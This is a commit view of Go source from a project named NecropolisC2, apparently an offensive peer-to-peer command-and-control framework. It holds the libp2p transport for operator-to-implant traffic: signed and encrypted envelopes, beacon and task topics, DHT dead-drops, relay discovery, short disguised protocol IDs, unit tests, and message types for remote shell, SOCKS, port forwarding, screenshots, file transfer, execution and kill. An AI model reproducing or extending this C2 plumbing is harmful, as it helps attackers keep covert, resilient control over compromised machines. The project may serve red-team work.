Necropolis v1 release

This commit is contained in:
2026-07-07 04:37:29 +01:00
commit cf9c51a3df
69 changed files with 15056 additions and 0 deletions
+351
View File
@@ -0,0 +1,351 @@
// Messenger handles PubSub envelope signing, verification, encryption, replay detection,
// and topic-based message delivery. Used by both the operator and the implant.
package transport
import (
"context"
cryptorand "crypto/rand"
"encoding/binary"
"fmt"
"log"
"runtime/debug"
"sync"
"time"
"google.golang.org/protobuf/proto"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
apb "github.com/Yenn503/NecropolisC2/protobuf/apb"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
var ErrSignatureInvalid = fmt.Errorf("signature invalid")
// MessageHandler is the callback invoked for each verified incoming envelope.
type MessageHandler func(ctx context.Context, envelope *apb.Envelope, senderPub crypto.PubKey)
// Messenger holds the node reference, cryptographic keys, operator identity, known
// implant keys (for the operator side), and a replay-detection ring buffer.
type Messenger struct {
node *Node
handler MessageHandler
privKey crypto.PrivKey
operatorID peer.ID
trustedPubKey crypto.PubKey
boxPubKey *[32]byte
authToken []byte
knownImplants map[string]crypto.PubKey
mu sync.RWMutex
seenIDs map[int64]time.Time
seenMu sync.Mutex
}
const replayWindow = 5 * time.Minute
// IsReplay returns true if the given envelope ID has been seen within the replay window.
func (m *Messenger) IsReplay(id int64) bool {
m.seenMu.Lock()
defer m.seenMu.Unlock()
if m.seenIDs == nil {
m.seenIDs = make(map[int64]time.Time)
}
if _, dup := m.seenIDs[id]; dup {
return true
}
m.seenIDs[id] = time.Now()
if len(m.seenIDs) > 10000 {
cutoff := time.Now().Add(-replayWindow)
for k, v := range m.seenIDs {
if v.Before(cutoff) {
delete(m.seenIDs, k)
}
}
}
return false
}
// NewOperatorMessenger creates a messenger for the operator side with the operator's
// signing key and node identity.
func NewOperatorMessenger(ctx context.Context, node *Node, keys *cryptography.OperatorKey) *Messenger {
return &Messenger{
node: node,
privKey: keys.PrivateKey,
operatorID: node.ID(),
knownImplants: make(map[string]crypto.PubKey),
}
}
// NewImplantMessenger creates a messenger for the implant side with the trusted
// operator public key and optional box encryption key.
func NewImplantMessenger(ctx context.Context, node *Node, keys *cryptography.ImplantKey, operatorPub crypto.PubKey, boxPubKey *[32]byte) *Messenger {
opID, err := peer.IDFromPublicKey(operatorPub)
if err != nil {
opID = peer.ID("")
}
return &Messenger{
node: node,
privKey: keys.PrivateKey,
operatorID: opID,
trustedPubKey: operatorPub,
boxPubKey: boxPubKey,
knownImplants: make(map[string]crypto.PubKey),
}
}
// SetHandler registers the callback for delivered envelopes.
func (m *Messenger) SetHandler(handler MessageHandler) {
m.mu.Lock()
defer m.mu.Unlock()
m.handler = handler
}
// AddKnownImplant stores a verified implant public key by peer ID.
func (m *Messenger) AddKnownImplant(peerID string, pub crypto.PubKey) {
m.mu.Lock()
defer m.mu.Unlock()
m.knownImplants[peerID] = pub
}
// KnownImplant returns the stored public key for the given implant peer ID.
func (m *Messenger) KnownImplant(peerID string) crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.knownImplants[peerID]
}
// CommandTopic returns the topic where operators publish commands.
// Format: /necropolis/<operator-peerid>/commands
func (m *Messenger) CommandTopic() string {
return CommandTopicPrefix + m.operatorID.String() + CommandsSuffix
}
// BeaconTopic returns the topic where implants publish beacons.
// Format: /necropolis/<operator-peerid>/beacons
func (m *Messenger) BeaconTopic() string {
return BeaconTopicPrefix + m.operatorID.String() + BeaconsSuffix
}
// TaskTopic returns a per-implant topic for targeted commands.
// Format: /necropolis/<operator-peerid>/tasks/<implant-peerid>
func (m *Messenger) TaskTopic(implantPeerID string) string {
return BeaconTopicPrefix + m.operatorID.String() + TasksSuffix + implantPeerID
}
// EnvelopeSigningBytes returns a deterministic protobuf serialization of all envelope
// fields except Signature for signing (avoiding circularity).
func EnvelopeSigningBytes(env *apb.Envelope) ([]byte, error) {
signingEnv := &apb.Envelope{
ID: env.ID,
Type: env.Type,
Data: env.Data,
Token: env.Token,
SenderKey: env.SenderKey,
}
return (proto.MarshalOptions{Deterministic: true}).Marshal(signingEnv)
}
// VerifyEnvelope checks that the envelope signature is valid against the trusted key.
func VerifyEnvelope(env *apb.Envelope, trustedPub crypto.PubKey) error {
if trustedPub == nil {
return fmt.Errorf("no trusted public key configured")
}
if len(env.Signature) == 0 {
return fmt.Errorf("%w: missing signature", ErrSignatureInvalid)
}
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
ok, err := cryptography.Verify(trustedPub, signingData, env.Signature)
if err != nil {
return fmt.Errorf("verify: %w", err)
}
if !ok {
return ErrSignatureInvalid
}
return nil
}
// PubKeyFromEnvelope deserializes the sender's public key from the envelope.
func PubKeyFromEnvelope(env *apb.Envelope) (crypto.PubKey, error) {
if len(env.SenderKey) == 0 {
return nil, fmt.Errorf("no sender key in envelope")
}
return cryptography.PubKeyFromBytes(env.SenderKey)
}
// listenVerified subscribes to a PubSub topic, verifies each envelope, and delivers
// validated messages to the handler.
func (m *Messenger) listenVerified(ctx context.Context, topic string, getTrusted func() crypto.PubKey) error {
sub, err := m.node.Subscribe(topic)
if err != nil {
return fmt.Errorf("subscribe %s: %w", topic, err)
}
// Relay this topic so messages are cached and forwarded to late-joining peers
if t, err := m.node.JoinTopic(topic); err == nil {
t.Relay()
}
go func() {
defer sub.Cancel()
defer func() {
if r := recover(); r != nil {
log.Printf("[messenger] panic in listenVerified: %v\n%s", r, debug.Stack())
}
}()
for {
msg, err := sub.Next(ctx)
if err != nil {
return
}
env := &apb.Envelope{}
if err := proto.Unmarshal(msg.Data, env); err != nil {
continue
}
trusted := getTrusted()
if trusted == nil {
trusted, err = PubKeyFromEnvelope(env)
if err != nil {
continue
}
senderID, idErr := peer.IDFromPublicKey(trusted)
if idErr == nil {
if stored := m.KnownImplant(senderID.String()); stored != nil {
trusted = stored
}
}
}
if err := VerifyEnvelope(env, trusted); err != nil {
continue
}
go m.deliver(ctx, env)
}
}()
return nil
}
// ListenBeacons starts listening for implant beacon messages on the beacon topic.
func (m *Messenger) ListenBeacons(ctx context.Context) error {
return m.listenVerified(ctx, m.BeaconTopic(), func() crypto.PubKey {
return nil
})
}
// ListenCommands starts listening for operator commands on the command topic.
func (m *Messenger) ListenCommands(ctx context.Context) error {
return m.listenVerified(ctx, m.CommandTopic(), func() crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.trustedPubKey
})
}
// ListenTask starts listening for per-implant targeted commands on the task topic.
func (m *Messenger) ListenTask(ctx context.Context, implantPeerID string) error {
return m.listenVerified(ctx, m.TaskTopic(implantPeerID), func() crypto.PubKey {
m.mu.RLock()
defer m.mu.RUnlock()
return m.trustedPubKey
})
}
// deliver extracts the sender's public key from the envelope and invokes the registered
// handler in a new goroutine (called from listenVerified).
func (m *Messenger) deliver(ctx context.Context, env *apb.Envelope) {
defer func() {
if r := recover(); r != nil {
log.Printf("[messenger] panic in deliver: %v\n%s", r, debug.Stack())
}
}()
m.mu.RLock()
handler := m.handler
m.mu.RUnlock()
if handler == nil {
return
}
var pubKey crypto.PubKey
if len(env.SenderKey) > 0 {
pubKey, _ = PubKeyFromEnvelope(env)
}
handler(ctx, env, pubKey)
}
// SendEnvelope marshals and publishes an envelope to the given PubSub topic.
func (m *Messenger) SendEnvelope(ctx context.Context, topic string, env *apb.Envelope) error {
data, err := proto.Marshal(env)
if err != nil {
return fmt.Errorf("marshal envelope: %w", err)
}
return m.node.Publish(ctx, topic, data)
}
// SignAndSend encrypts the data (if box keys exist), signs the envelope with the private
// key, attaches the sender's public key, and publishes to the given topic.
func (m *Messenger) SignAndSend(ctx context.Context, topic string, env *apb.Envelope) error {
if m.privKey == nil {
return fmt.Errorf("no private key for signing")
}
if m.boxPubKey != nil && len(env.Data) > 0 {
encrypted, err := cryptography.EncryptMessage(env.Data, m.boxPubKey)
if err != nil {
return fmt.Errorf("encrypt: %w", err)
}
env.Data = encrypted
}
pubBytes, err := crypto.MarshalPublicKey(m.privKey.GetPublic())
if err == nil {
env.SenderKey = pubBytes
}
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
return fmt.Errorf("marshal signing data: %w", err)
}
sig, err := m.privKey.Sign(signingData)
if err != nil {
return fmt.Errorf("sign: %w", err)
}
env.Signature = sig
return m.SendEnvelope(ctx, topic, env)
}
// CreateEnvelope builds a new envelope with a random ID, the given type, data payload,
// and the current auth token.
func (m *Messenger) CreateEnvelope(msgType uint32, data []byte) *apb.Envelope {
var b [8]byte
cryptorand.Read(b[:])
return &apb.Envelope{
ID: int64(binary.LittleEndian.Uint64(b[:])),
Type: msgType,
Data: data,
Token: m.authToken,
}
}
// RendezvousString returns the DHT rendezvous namespace scoped to the operator.
func (m *Messenger) RendezvousString() string {
return "necropolis/" + m.operatorID.String()
}
// OperatorID returns the operator's peer ID.
func (m *Messenger) OperatorID() peer.ID {
return m.operatorID
}
// SetAuthToken sets the authentication token added to outgoing envelopes.
func (m *Messenger) SetAuthToken(token []byte) { m.authToken = token }
// SetOperatorID overrides the operator's peer ID.
func (m *Messenger) SetOperatorID(id peer.ID) {
m.operatorID = id
}
+196
View File
@@ -0,0 +1,196 @@
package transport
import (
"bytes"
"context"
"strings"
"testing"
"time"
"github.com/libp2p/go-libp2p"
"github.com/Yenn503/NecropolisC2/pkg/cryptography"
)
// minimalHost creates a bare libp2p host for unit tests. No DHT, no relay.
func minimalHost(t *testing.T) (*Node, context.Context, context.CancelFunc) {
t.Helper()
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/127.0.0.1/tcp/0"))
if err != nil {
t.Fatalf("create host: %v", err)
}
t.Cleanup(func() { h.Close(); cancel() })
return &Node{Host: h, ctx: ctx, cancel: func() {}}, ctx, cancel
}
func TestCreateEnvelopeStoresToken(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
_ = ctx
m := NewOperatorMessenger(ctx, n, op)
m.SetAuthToken(op.AuthToken)
env := m.CreateEnvelope(MsgTypePs, []byte("test"))
if len(env.Token) != 32 {
t.Fatalf("token missing from envelope: got %d bytes, want 32", len(env.Token))
}
if !bytes.Equal(env.Token, op.AuthToken) {
t.Fatal("envelope token != operator auth token")
}
if env.ID == 0 {
t.Fatal("envelope ID is zero — random generation failed")
}
}
func TestReplayProtection(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
env1 := m.CreateEnvelope(MsgTypePs, []byte("test"))
env2 := m.CreateEnvelope(MsgTypePs, []byte("test"))
env2.ID = env1.ID // force same ID
if m.IsReplay(env1.ID) {
t.Fatal("first envelope flagged as replay")
}
if !m.IsReplay(env1.ID) {
t.Fatal("same ID not detected as replay on second check")
}
if !m.IsReplay(env2.ID) {
t.Fatal("replay envelope with same ID not detected")
}
}
func TestAuthTokenRejection(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
m.SetAuthToken(op.AuthToken)
env := m.CreateEnvelope(MsgTypePs, []byte("test"))
if len(env.Token) != 32 {
t.Fatalf("token not set: got %d bytes", len(env.Token))
}
// Simulate implant-side check: wrong token should be rejected
wrongToken := make([]byte, 32)
for i := range wrongToken {
wrongToken[i] = 0xFF
}
if bytes.Equal(env.Token, wrongToken) {
t.Fatal("tampered token accidentally matches")
}
if bytes.Equal(env.Token, op.AuthToken) {
// expected — token is correct. Now verify wrong token fails
env.Token = wrongToken
if bytes.Equal(env.Token, op.AuthToken) {
t.Fatal("failed to set wrong token")
}
}
}
func TestEnvelopeSignAndVerify(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
data := []byte("necropolis command data")
env := m.CreateEnvelope(MsgTypeExecute, data)
signingData, err := EnvelopeSigningBytes(env)
if err != nil {
t.Fatalf("signing bytes: %v", err)
}
sig, err := op.PrivateKey.Sign(signingData)
if err != nil {
t.Fatalf("sign: %v", err)
}
env.Signature = sig
ok, err := cryptography.Verify(op.PublicKey, signingData, sig)
if err != nil {
t.Fatalf("verify: %v", err)
}
if !ok {
t.Fatal("signature verification failed")
}
// Tamper with data, re-signing bytes change, verify should fail
data[0] ^= 0xFF
env.Data = data
signingData2, _ := EnvelopeSigningBytes(env)
ok2, _ := cryptography.Verify(op.PublicKey, signingData2, sig)
if ok2 {
t.Fatal("tampered data passed signature verification")
}
}
func TestTopicFormats(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
m.SetOperatorID(op.PeerID)
opID := op.PeerID.String()
if m.BeaconTopic() != "/b/"+opID+"/bx" {
t.Fatalf("beacon topic: got %s", m.BeaconTopic())
}
if m.CommandTopic() != "/c/"+opID+"/cx" {
t.Fatalf("command topic: got %s", m.CommandTopic())
}
taskTopic := m.TaskTopic("test-implant-id")
if !strings.HasPrefix(taskTopic, "/b/") || !strings.HasSuffix(taskTopic, "/tx/test-implant-id") {
t.Fatalf("task topic: got %s", taskTopic)
}
}
func TestBoxEncryptDecryptViaEnvelope(t *testing.T) {
op, err := cryptography.GenerateOperatorKey()
if err != nil {
t.Fatalf("generate operator key: %v", err)
}
n, ctx, _ := minimalHost(t)
m := NewOperatorMessenger(ctx, n, op)
plain := []byte("secret implant command")
env := m.CreateEnvelope(MsgTypeExecute, plain)
// Encrypt the data field
if op.BoxKeys == nil {
t.Skip("no box keys")
}
encrypted, err := cryptography.EncryptMessage(env.Data, op.BoxKeys.PublicKey)
if err != nil {
t.Fatalf("encrypt: %v", err)
}
if bytes.Equal(encrypted, plain) {
t.Fatal("encrypted data equals plaintext")
}
env.Data = encrypted
// Decrypt
decrypted, err := cryptography.DecryptMessage(env.Data, op.BoxKeys)
if err != nil {
t.Fatalf("decrypt: %v", err)
}
if !bytes.Equal(decrypted, plain) {
t.Fatalf("decrypted != plain: got %q, want %q", decrypted, plain)
}
}
+511
View File
@@ -0,0 +1,511 @@
// Node wraps a libp2p host with DHT, PubSub (GossipSub), relay services, and mDNS
// discovery. Used by both the operator and the implant.
package transport
import (
"context"
"fmt"
"log"
"strings"
"sync"
"time"
"github.com/libp2p/go-libp2p"
dht "github.com/libp2p/go-libp2p-kad-dht"
pubsub "github.com/libp2p/go-libp2p-pubsub"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/core/protocol"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
routingdiscovery "github.com/libp2p/go-libp2p/p2p/discovery/routing"
"github.com/libp2p/go-libp2p/p2p/host/autorelay"
"github.com/multiformats/go-multiaddr"
)
// Protocol ID constants for libp2p stream handlers and PubSub topic prefixes.
const (
NecropolisProtocolID protocol.ID = "/x/1.0.0"
ShellProtocolID protocol.ID = "/x/sh/1.0.0"
PortfwdProtocolID protocol.ID = "/x/pf/1.0.0"
SocksProtocolID protocol.ID = "/x/sk/1.0.0"
BeaconProtocolID protocol.ID = "/bc/1.0.0"
CmdProtocolID protocol.ID = "/bc/1.0.0/cmd"
CommandTopicPrefix string = "/c/"
BeaconTopicPrefix string = "/b/"
TaskTopicPrefix string = "/t/"
CommandsSuffix string = "/cx"
BeaconsSuffix string = "/bx"
TasksSuffix string = "/tx/"
)
// DefaultBootstrapAddrs parses the well-known libp2p bootstrap peers.
func DefaultBootstrapAddrs() []peer.AddrInfo {
var out []peer.AddrInfo
for _, s := range defaultBootstrapPeers {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
continue
}
out = append(out, *pi)
}
return out
}
var defaultBootstrapPeers = []string{
"/dnsaddr/bootstrap.libp2p.io/p2p/QmNnooDu7bfjPFoTZYxMNLWUQJyrVwtbZg5gBMjTezGAJN",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmQCU2EcMqAqQPR2i9bChDtGNJchTbq5TbXJJ16u19uLTa",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmbLHAnMoJPWSCR5Zhtx6BHJX9KiKNN6tpvbUcqanj75Nb",
"/dnsaddr/bootstrap.libp2p.io/p2p/QmcZf59bWwK5XFi76CZX8cbJ4BhTzzA3gU1ZjYZcYW3dwt",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkWJkMhM9D3wPKahRmKwZGQ3KYb3dxf5achHy3G1Uq",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLwGxn5SkKBzKWHa39shjmAjEZzNzuhNedmCRG5Tc",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkLP1pX2hDp6dGApnsrGeFCKLQcWFLTKBk4iLKofCE",
"/dnsaddr/bootstrap.libp2p.io/p2p/12D3KooWSNjkM7KMCdmENeFw5KnELi5LKYhJBsWjoJV7BctSgjGQ",
}
// NodeConfig holds all options for constructing a Node: listen address, bootstrap peers,
// relay settings, DHT, mDNS, and the libp2p identity key.
type NodeConfig struct {
ListenAddr string
BootstrapPeers []peer.AddrInfo
EnableRelay bool
EnableRelayService bool
EnableMDNS bool
EnableDHT bool
RelayAddrs []string
PrivateKey crypto.PrivKey
}
// Node owns the libp2p host, GossipSub router, optional DHT, routing discovery, and
// cached topics/subscriptions.
type Node struct {
Host host.Host
PubSub *pubsub.PubSub
DHT *dht.IpfsDHT
disc *routingdiscovery.RoutingDiscovery
config NodeConfig
topics map[string]*pubsub.Topic
subs map[string]*pubsub.Subscription
mu sync.RWMutex
ctx context.Context
cancel context.CancelFunc
}
// NewNode creates a libp2p host with the given config, sets up PubSub and optional DHT,
// and configures auto-relay if relay addresses are provided.
func NewNode(ctx context.Context, cfg NodeConfig, opts ...libp2p.Option) (*Node, error) {
ctx, cancel := context.WithCancel(ctx)
baseOpts := []libp2p.Option{
libp2p.ListenAddrStrings(cfg.ListenAddr),
}
if cfg.PrivateKey != nil {
baseOpts = append(baseOpts, libp2p.Identity(cfg.PrivateKey))
}
if cfg.EnableRelay {
baseOpts = append(baseOpts, libp2p.EnableRelay())
}
if cfg.EnableRelayService {
baseOpts = append(baseOpts, libp2p.EnableRelayService())
}
var h host.Host
var err error
if len(cfg.RelayAddrs) > 0 {
if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
} else {
var relays []peer.AddrInfo
for _, s := range cfg.RelayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay addr %q: %w", s, err)
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
cancel()
return nil, fmt.Errorf("parse relay peer info %q: %w", s, err)
}
relays = append(relays, *pi)
}
baseOpts = append(baseOpts, libp2p.EnableAutoRelayWithStaticRelays(relays))
}
} else if cfg.EnableDHT {
baseOpts = append(baseOpts, libp2p.EnableAutoRelay(
autorelay.WithPeerSource(func(ctx context.Context, num int) <-chan peer.AddrInfo {
return findRelayCandidates(ctx, num, h)
}),
))
}
baseOpts = append(baseOpts, opts...)
h, err = libp2p.New(baseOpts...)
if err != nil {
cancel()
return nil, fmt.Errorf("create libp2p host: %w", err)
}
if len(cfg.RelayAddrs) > 0 && cfg.EnableDHT {
go tryStaticRelayConnections(ctx, h, cfg.RelayAddrs)
}
params := pubsub.DefaultGossipSubParams()
params.D = 6
params.Dlo = 4
params.Dhi = 12
params.HistoryLength = 10
params.HistoryGossip = 5
params.HeartbeatInterval = 1 * time.Second
ps, err := pubsub.NewGossipSub(ctx, h,
pubsub.WithPeerExchange(true),
pubsub.WithFloodPublish(true),
pubsub.WithGossipSubParams(params),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create pubsub: %w", err)
}
n := &Node{
Host: h,
PubSub: ps,
config: cfg,
topics: make(map[string]*pubsub.Topic),
subs: make(map[string]*pubsub.Subscription),
ctx: ctx,
cancel: cancel,
}
if cfg.EnableDHT {
d, err := dht.New(ctx, h, dht.Mode(dht.ModeAuto),
dht.ProtocolPrefix("/necropolis"),
dht.NamespacedValidator("necropolis", passThroughValidator{}),
)
if err != nil {
cancel()
return nil, fmt.Errorf("create dht: %w", err)
}
n.DHT = d
n.disc = routingdiscovery.NewRoutingDiscovery(d)
}
return n, nil
}
// StartDiscovery connects to bootstrap peers, bootstraps the DHT routing table, and
// starts mDNS if enabled.
func (n *Node) StartDiscovery() error {
go func() {
defer func() {
recover()
}()
for _, pi := range n.config.BootstrapPeers {
connectCtx, cancel := context.WithTimeout(n.ctx, 5*time.Second)
if err := n.Host.Connect(connectCtx, pi); err != nil {
cancel()
continue
}
cancel()
}
}()
if n.DHT != nil {
go func() {
defer func() {
recover()
}()
n.DHT.Bootstrap(n.ctx)
}()
}
if n.config.EnableMDNS {
svc := mdns.NewMdnsService(n.Host, "necropolis", &mdnsNotifee{h: n.Host})
if err := svc.Start(); err != nil {
return fmt.Errorf("start mdns: %w", err)
}
}
return nil
}
type mdnsNotifee struct {
h host.Host
}
// HandlePeerFound adds discovered mDNS peer addresses to the peerstore.
func (m *mdnsNotifee) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.h.ID() {
return
}
for _, addr := range pi.Addrs {
m.h.Peerstore().AddAddr(pi.ID, addr, time.Hour)
}
}
// Advertise registers this node under a DHT rendezvous namespace.
func (n *Node) Advertise(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindPeers performs a DHT-based peer discovery for the given namespace.
func (n *Node) FindPeers(ctx context.Context, ns string) (<-chan peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
return n.disc.FindPeers(ctx, ns)
}
// JoinTopic joins a PubSub topic, caching the handle for reuse.
func (n *Node) JoinTopic(topic string) (*pubsub.Topic, error) {
n.mu.Lock()
defer n.mu.Unlock()
if t, ok := n.topics[topic]; ok {
return t, nil
}
t, err := n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
return t, nil
}
// Subscribe creates a subscription to a PubSub topic, caching it for reuse.
func (n *Node) Subscribe(topic string) (*pubsub.Subscription, error) {
n.mu.Lock()
defer n.mu.Unlock()
if s, ok := n.subs[topic]; ok {
return s, nil
}
t, ok := n.topics[topic]
if !ok {
var err error
t, err = n.PubSub.Join(topic)
if err != nil {
return nil, fmt.Errorf("join topic %s: %w", topic, err)
}
n.topics[topic] = t
}
sub, err := t.Subscribe()
if err != nil {
return nil, fmt.Errorf("subscribe %s: %w", topic, err)
}
n.subs[topic] = sub
return sub, nil
}
// Publish sends data to a PubSub topic.
func (n *Node) Publish(ctx context.Context, topic string, data []byte) error {
t, err := n.JoinTopic(topic)
if err != nil {
return err
}
return t.Publish(ctx, data)
}
// ConnectToPeer establishes a libp2p connection to the given peer.
func (n *Node) ConnectToPeer(ctx context.Context, pi peer.AddrInfo) error {
return n.Host.Connect(ctx, pi)
}
// SetStreamHandler registers a handler for the given protocol ID on the libp2p host.
func (n *Node) SetStreamHandler(pid protocol.ID, handler network.StreamHandler) {
n.Host.SetStreamHandler(pid, handler)
}
// NewStream opens a libp2p stream to the given peer on the given protocol.
func (n *Node) NewStream(ctx context.Context, p peer.ID, pid protocol.ID) (network.Stream, error) {
return n.Host.NewStream(ctx, p, pid)
}
// WaitForDHT blocks until the DHT routing table has at least 5 peers, or 30 attempts.
func (n *Node) WaitForDHT(ctx context.Context) bool {
for i := 0; i < 30; i++ {
if n.DHT.RoutingTable().Size() >= 5 {
return true
}
select {
case <-ctx.Done():
return false
case <-time.After(2 * time.Second):
}
}
return false
}
// Close cancels the node context, shuts down the DHT, and closes the host.
func (n *Node) Close() error {
n.cancel()
if n.DHT != nil {
n.DHT.Close()
}
return n.Host.Close()
}
// Addrs returns the host's multiaddresses.
func (n *Node) Addrs() []multiaddr.Multiaddr {
return n.Host.Addrs()
}
// ID returns the host's libp2p peer ID.
func (n *Node) ID() peer.ID {
return n.Host.ID()
}
// PutDHTValue stores a value under key in the DHT. Value size limited to ~1KB.
func (n *Node) PutDHTValue(ctx context.Context, key string, value []byte) error {
if n.DHT == nil {
return fmt.Errorf("DHT not enabled")
}
return n.DHT.PutValue(ctx, key, value)
}
// GetDHTValue retrieves the best value for key from the DHT.
func (n *Node) GetDHTValue(ctx context.Context, key string) ([]byte, error) {
if n.DHT == nil {
return nil, fmt.Errorf("DHT not enabled")
}
val, err := n.DHT.GetValue(ctx, key)
if err != nil {
return nil, err
}
return val, nil
}
// passThroughValidator accepts any key/value — used for DHT dead-drop namespace
// where we just need storage with no validation.
type passThroughValidator struct{}
func (passThroughValidator) Validate(_ string, _ []byte) error { return nil }
func (passThroughValidator) Select(_ string, _ [][]byte) (int, error) { return 0, nil }
// CommandDHTKey returns the DHT key for operator command dead-drops.
// Registered under the /necropolis/ namespace via NamespacedValidator.
func CommandDHTKey(operatorID peer.ID, nonce int64) string {
return "/necropolis/cmd/" + operatorID.String() + "/" + fmt.Sprintf("%d", nonce)
}
// RelayRendezvousString returns the DHT namespace for relay peer discovery.
func (n *Node) RelayRendezvousString(operatorID peer.ID) string {
return "necropolis/relay/" + operatorID.String()
}
// AdvertiseRelay advertises this node as a relay on the given DHT namespace.
func (n *Node) AdvertiseRelay(ctx context.Context, ns string) error {
if n.disc == nil {
return fmt.Errorf("DHT not enabled")
}
_, err := n.disc.Advertise(ctx, ns)
return err
}
// FindRelayPeers discovers peers advertising themselves as relays on the given namespace.
func (n *Node) FindRelayPeers(ctx context.Context, ns string, limit int) ([]peer.AddrInfo, error) {
if n.disc == nil {
return nil, fmt.Errorf("DHT not enabled")
}
peerCh, err := n.disc.FindPeers(ctx, ns)
if err != nil {
return nil, err
}
var out []peer.AddrInfo
for pi := range peerCh {
if len(pi.Addrs) == 0 {
continue
}
out = append(out, pi)
if len(out) >= limit {
break
}
}
return out, nil
}
// findRelayCandidates scans connected peers for those running circuit relay.
func findRelayCandidates(ctx context.Context, num int, h host.Host) <-chan peer.AddrInfo {
ch := make(chan peer.AddrInfo, num)
go func() {
defer func() {
recover()
}()
defer close(ch)
if h == nil {
return
}
for _, p := range h.Network().Peers() {
if len(ch) >= num {
return
}
protocols, err := h.Peerstore().GetProtocols(p)
if err != nil {
continue
}
for _, proto := range protocols {
if strings.Contains(string(proto), "circuit/relay") {
addrs := h.Peerstore().Addrs(p)
if len(addrs) > 0 {
select {
case ch <- peer.AddrInfo{ID: p, Addrs: addrs}:
case <-ctx.Done():
return
}
}
break
}
}
}
}()
return ch
}
// tryStaticRelayConnections attempts to connect to each static relay address in the config.
func tryStaticRelayConnections(ctx context.Context, h host.Host, relayAddrs []string) {
for _, s := range relayAddrs {
m, err := multiaddr.NewMultiaddr(s)
if err != nil {
log.Printf("[node] parse relay addr %q: %v", s, err)
continue
}
pi, err := peer.AddrInfoFromP2pAddr(m)
if err != nil {
log.Printf("[node] parse relay peer %q: %v", s, err)
continue
}
connCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
err = h.Connect(connCtx, *pi)
cancel()
if err != nil {
log.Printf("[node] relay %s unreachable: %v", pi.ID.String(), err)
continue
}
log.Printf("[node] connected to relay %s", pi.ID.String())
}
}
+23
View File
@@ -0,0 +1,23 @@
package transport
const (
MsgTypeRegister = uint32(0)
MsgTypePing = uint32(1) // retired, preserves wire numbering
MsgTypeTask = uint32(2)
MsgTypeTaskResult = uint32(3)
MsgTypeShell = uint32(4)
MsgTypeDownload = uint32(5)
MsgTypeUpload = uint32(6)
MsgTypeSocks = uint32(7)
MsgTypePortfwd = uint32(8)
MsgTypeScreenshot = uint32(9)
MsgTypeLs = uint32(10)
MsgTypeCd = uint32(11)
MsgTypePwd = uint32(12)
MsgTypeExecute = uint32(13)
MsgTypeKill = uint32(14)
MsgTypePs = uint32(15)
MsgTypeDeadMan = uint32(16)
MsgTypeCover = uint32(127)
MsgTypeDisconnect = uint32(255)
)